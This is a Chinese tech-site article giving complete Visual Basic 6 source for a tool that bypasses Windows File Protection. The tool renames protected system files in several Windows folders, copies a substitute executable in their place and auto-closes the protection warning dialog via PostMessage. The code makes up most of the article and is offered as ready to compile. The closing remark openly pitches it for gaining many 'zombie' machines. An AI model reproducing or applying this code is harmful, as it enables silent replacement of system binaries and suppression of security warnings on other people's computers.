扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
“破坏”思想
还是先说思想,有了思想万事都好办。注意“攻略”一文中对话框的标题,是不是“Windows 文件保护”啊。我们就从它下手。有两种方法,一是根据这个窗口标题查找,找到后将其隐藏,这个可以通过ShowWindow API和SW_HIDE消息来完成,但是毕竟窗口仍然存在,不是很安全。第二种也同样是根据这个窗口标题查找,找到后不是将其隐藏,而是通过发送系统消息直接关闭。下面我将以一个完整的替换文件、关闭对话框的例子来讲解。这里选择第二种方法。
界面设计
好了,还是先给出各控件布局,及对应属性。
初始化
程序开始首当其冲的当然是初始化了。在这里要声明需要使用的API、常数及变量,并获取Windows目录的完整路径。
'获取WINDOWS安装所在目录的API
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'查找窗口句柄的API
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'根据句柄关闭指定窗口的API
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'关闭窗口的常数
Private Const WM_QUIT = &H12
'存放Windows目录的变量
Dim WindowsDirectory As String
Private Sub Form_Load()
'存放获取的Windows目录的字符串缓冲区
Dim Path As String
'设置缓冲区内容,以便分解Windows目录的完整路径
Path = Space(255)
'获取Windows目录的路径,存放进缓冲区
Call GetWindowsDirectory(Path, 255)
'分解Windows目录的完整路径
WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)
'指定被替换文件的完整路径及文件名
txtSource.Text = WindowsDirectory & "\" & "notepad.exe"
'指定替换文件的完整路径及文件名
txtDestination = WindowsDirectory & "\" & "regedit.exe"
End Sub
然后就要开始替换文件的过程了。判断指定的被替换文件和替换文件是否都存在,存在的话则就根据复选框选择的路径进行替换,这里的思想是将所有的文件都改名了,就没有办法恢复了,然后将替换文件复制成被替换文件,这样就避免了直接替换而可能产生意料情况。替换后将定时器激活,进行对话框查找。
Private Sub cmdDo_Click()
'执行时屏蔽所有的操作对象,防止误操作,而导致程序崩溃
cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False
chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False
'设置错误陷阱,因为下面的程序涉及到文件操作
On Error Resume Next
'判断被替换文件和替换文件是否存在
If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then
'存在,定义被替换文件的文件名存放变量
Dim FileName As String
'获取被替换文件的文件名
FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))
'判断是否选中Dllcache复选框
If chkDllcache.Value = 1 Then
'是则对Dllcache下的被替换文件改名
Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"
End If
'判断是否选中System32复选框
If chkSystem32.Value = 1 Then
'是则对System32下的被替换文件改名
Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"
End If
'判断是否选中I386复选框
If chkI386.Value = 1 Then
'是则对I386下的被替换文件改名
Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"
End If
'判断是否选中Windows复选框
If chkWindows.Value = 1 Then
'是则对Windows下的被替换文件改名
Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"
End If
'将替换文件复制为被替换文件
FileCopy txtDestination.Text, txtSource.Text
'激活定时器
timCheck.Enabled = True
End If
End Sub
最后则是不停的监视那个“Windows 文件保护”的对话框,一出来就通过PostMessage API向其发送WM_QUIT系统消息,将其关闭。这里要注意一点,是用PostMessage而不是SendMessage,主要是因为消息不需要等待,如果用后者,则关闭不了“攻略”一文中的对话框。反而会弹出另一个对话框。
Private Sub timCheck_Timer()
'设置错误陷阱
On Error Resume Next
'定义存放"Windows 文件保护"窗口句柄的变量
Dim hwnd As Long
'查找"Windows 文件保护"窗口,并把对应的句柄存入变量
hwnd = FindWindow(vbNullString, "Windows 文件保护")
'判断是否找到窗口
If hwnd <> 0 Then
'是则关闭窗口
Call PostMessage(hwnd, WM_QUIT, 0, 0)
'给出成功提示
MsgBox "替换成功!", vbInformation
'退出程序
End
End If
End Sub
好了,到这里就可以编译使用了。
写在最后
这样简简单单几步就把MS安全强大的WFP给突破了,让我自己也有点不敢相信,不过这是事实,不得不信啊。一个“小”洞+一款利器=多多肉鸡,相信你绝对不会错过的。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。